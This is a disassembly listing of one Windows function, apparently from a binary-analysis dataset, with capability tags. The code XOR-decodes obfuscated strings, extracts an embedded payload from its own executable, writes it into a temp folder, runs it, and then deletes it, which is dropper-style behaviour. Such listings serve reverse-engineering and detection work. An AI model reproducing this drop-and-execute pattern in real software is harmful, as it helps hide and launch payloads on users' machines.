Function at 0x401570
Capabilities:
Check if file exists
Create directory
Create process on windows
Delete file
Encode data using xor
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x52716d
mov eax, dword fs:[0]
push eax
mov eax, 0x1288
call fcn.005021f0
mov eax, dword [0x572980]
xor eax, esp
mov dword [esp + 0x1284], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x572980]
xor eax, esp
push eax
lea eax, [esp + 0x129c]
mov dword fs:[0], eax
lea eax, [esp + 0x28]
push eax
mov esi, ecx
mov dword [esp + 0x2c], 8
mov dword [esp + 0x30], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.00403105
xor ebx, ebx
push ebx
call fcn.004055e8
add esp, 4
push str.Local_AppWizard_Generated_Applications
mov ecx, esi
call fcn.00405abb
push 0x206
lea edx, [esp + 0x1096]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x109c], cx
call fcn.00502090
push 0x206
lea ecx, [esp + 0xa96]
xor eax, eax
push ebx
push ecx
mov word [esp + 0xa9c], ax
call fcn.00502090
add esp, 0x18
lea edx, [esp + 0xc8]
push edx
call fcn.00401000
push 0x400
lea eax, [esp + 0xc91]
push ebx
mov dword [esp + 0x12ac], ebx
push eax
mov byte [esp + 0xc98], bl
call fcn.00502090
add esp, 0xc
push 0x552958
lea ecx, [esp + 0x18]
call fcn.00402740
push 0x552958
lea ecx, [esp + 0x20]
mov byte [esp + 0x12a8], 1
call fcn.00402740
push 0x552958
lea ecx, [esp + 0x1c]
mov byte [esp + 0x12a8], 2
call fcn.00402740
push str._Cj_wRdutqNomhod_dyd
lea ecx, [esp + 0xc90]
push 0x400
push ecx
mov byte [esp + 0x12b0], 3
call fcn.0050113e
lea eax, [esp + 0xc98]
add esp, 0xc
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4016c0
sub eax, edx
mov esi, eax
cmp esi, ebx
jle 0x401702
lea edx, [esi + 1]
push edx
call fcn.00402913
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x401702
cmp esi, ebx
mov byte [edi + esi], bl
jle 0x401704
lea edx, [esp + 0xc8c]
mov ecx, edi
sub edx, edi
mov al, byte [edx + ecx]
xor al, 1
mov byte [ecx], al
inc ecx
sub esi, 1
jne 0x4016f3
jmp 0x401704
xor edi, edi
push edi
lea ecx, [esp + 0x24]
push ecx
call fcn.00401e60
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x12a8], 4
call fcn.00402030
mov byte [esp + 0x12a4], 3
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x401749
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp edi, ebx
je 0x401756
push edi
call fcn.0040291e
add esp, 4
push str.cjrdutq
lea ecx, [esp + 0xc90]
push 0x400
push ecx
call fcn.0050113e
lea eax, [esp + 0xc98]
add esp, 0xc
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401780
sub eax, edx
mov esi, eax
cmp esi, ebx
jle 0x4017c2
lea edx, [esi + 1]
push edx
call fcn.00402913
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x4017c2
cmp esi, ebx
mov byte [edi + esi], bl
jle 0x4017c4
lea edx, [esp + 0xc8c]
mov ecx, edi
sub edx, edi
mov al, byte [edx + ecx]
xor al, 1
mov byte [ecx], al
inc ecx
sub esi, 1
jne 0x4017b3
jmp 0x4017c4
xor edi, edi
push edi
lea ecx, [esp + 0x24]
push ecx
call fcn.00401e60
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x12a8], 5
call fcn.00402030
mov byte [esp + 0x12a4], 3
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x401809
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp edi, ebx
je 0x401816
push edi
call fcn.0040291e
add esp, 4
push str.sto_r
lea ecx, [esp + 0xc90]
push 0x400
push ecx
call fcn.0050113e
lea eax, [esp + 0xc98]
add esp, 0xc
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401840
sub eax, edx
mov esi, eax
cmp esi, ebx
jle 0x401882
lea edx, [esi + 1]
push edx
call fcn.00402913
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x401882
cmp esi, ebx
mov byte [edi + esi], bl
jle 0x401884
lea edx, [esp + 0xc8c]
mov ecx, edi
sub edx, edi
mov al, byte [edx + ecx]
xor al, 1
mov byte [ecx], al
inc ecx
sub esi, 1
jne 0x401873
jmp 0x401884
xor edi, edi
push edi
lea ecx, [esp + 0x24]
push ecx
call fcn.00401e60
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x12a8], 6
call fcn.00402030
mov byte [esp + 0x12a4], 3
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4018c9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp edi, ebx
je 0x4018d6
push edi
call fcn.0040291e
add esp, 4
push 0x104
lea ecx, [esp + 0x1094]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x40197c
mov byte [esp + 0x12a4], 2
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40191a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x12a4], 1
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401942
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x12a4], bl
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401969
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea edi, [esp + 0xc8]
call fcn.004010b0
xor eax, eax
jmp 0x401e34
lea ecx, [esp + 0x1090]
push ecx
lea ecx, [esp + 0xcc]
call fcn.00401130
cmp eax, 0xffffffff
jne 0x401a23
mov byte [esp + 0x12a4], 2
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4019c1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x12a4], 1
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4019e9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x12a4], bl
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401a10
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea edi, [esp + 0xc8]
call fcn.004010b0
xor eax, eax
jmp 0x401e34
lea eax, [esp + 0xc8]
call fcn.00401320
test eax, eax
jge 0x401ac1
mov byte [esp + 0x12a4], 2
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401a5f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x12a4], 1
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401a87
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x12a4], bl
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401aae
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea edi, [esp + 0xc8]
call fcn.004010b0
xor eax, eax
jmp 0x401e34
cmp dword [esp + 0xa08], ebx
je 0x401ada
mov esi, dword [esp + 0xa0c]
cmp esi, 0xffffffff
jne 0x401b70
lea esi, [esp + 0xc8]
call fcn.00401210
mov byte [esp + 0x12a4], 2
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401b0e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x12a4], 1
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401b36
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x12a4], bl
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401b5d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea edi, [esp + 0xc8]
call fcn.004010b0
xor eax, eax
jmp 0x401e34
lea ebx, [esp + 0xc8]
call fcn.004012d0
lea edi, [esi + 1]
mov ebp, esi
push edi
mov dword [esp + 0x28], eax
sub ebp, eax
call fcn.00402913
push edi
mov ebx, eax
push 0
push ebx
call fcn.00502090
push ebp
call fcn.00402913
push ebp
push 0
push eax
mov dword [esp + 0x40], eax
call fcn.00502090
add esp, 0x20
push esi
mov edx, esi
lea edi, [esp + 0x44]
lea esi, [esp + 0xcc]
call fcn.00401270
cmp eax, 0xffffffff
jne 0x401c0c
push ebx
call fcn.0040291e
mov ecx, dword [esp + 0x24]
push ecx
call fcn.0040291e
add esp, 8
call fcn.00401210
lea ecx, [esp + 0x18]
call fcn.004020d0
lea ecx, [esp + 0x1c]
call fcn.004020d0
lea ecx, [esp + 0x14]
call fcn.004020d0
lea edi, [esp + 0xc8]
call fcn.004010b0
xor eax, eax
jmp 0x401e34
mov edx, dword [esp + 0x24]
mov edi, dword [esp + 0x20]
push ebp
lea eax, [ebx + edx]
push eax
push edi
call fcn.00504610
add esp, 0xc
lea esi, [esp + 0xc8]
call fcn.00401210
lea ecx, [esp + 0xa84]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [esp + 0x1c]
call fcn.00401ee0
push eax
lea edx, [esp + 0xa88]
push 0x104
push edx
call fcn.005011a6
add esp, 0xc
push 0
lea eax, [esp + 0xa88]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea ecx, [esp + 0x14]
call fcn.00401ee0
push eax
lea ecx, [esp + 0xa88]
push 0x104
push ecx
call fcn.005011a6
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0xa9c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401cca
push ebx
call fcn.0040291e
push edi
call fcn.0040291e
add esp, 8
jmp 0x401bde
push 0
lea eax, [esp + 0x48]
push eax
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
test eax, eax
jne 0x401cf9
call fcn.0040291e
push edi
call fcn.0040291e
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401bde
call fcn.0040291e
push edi
call fcn.0040291e
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x44
lea ecx, [esp + 0x88]
push 0
push ecx
call fcn.00502090
add esp, 0xc
xor eax, eax
lea edx, [esp + 0x30]
push edx
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
lea eax, [esp + 0x88]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0xaa4]
push ecx
push 0
mov dword [esp + 0xac], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x401de8
push 0x38
push eax
lea edx, [esp + 0x54]
push edx
mov dword [esp + 0x54], 0x3c
call fcn.00502090
add esp, 0xc
lea ecx, [esp + 0x18]
call fcn.00401ee0
mov dword [esp + 0x54], eax
lea ecx, [esp + 0x48]
lea eax, [esp + 0xa84]
push ecx
mov dword [esp + 0x5c], eax
mov dword [esp + 0x68], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x401de8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
jne 0x401de8
lea edx, [esp + 0xa84]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401de0
lea eax, [esp + 0xa84]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0xa84]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401e08
lea edx, [esp + 0xa84]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x18]
call fcn.004020d0
lea ecx, [esp + 0x1c]
call fcn.004020d0
lea ecx, [esp + 0x14]
call fcn.004020d0
lea edi, [esp + 0xc8]
call fcn.004010b0
mov eax, 1
mov ecx, dword [esp + 0x129c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x1284]
xor ecx, esp
call fcn.00500dd2
add esp, 0x1294
ret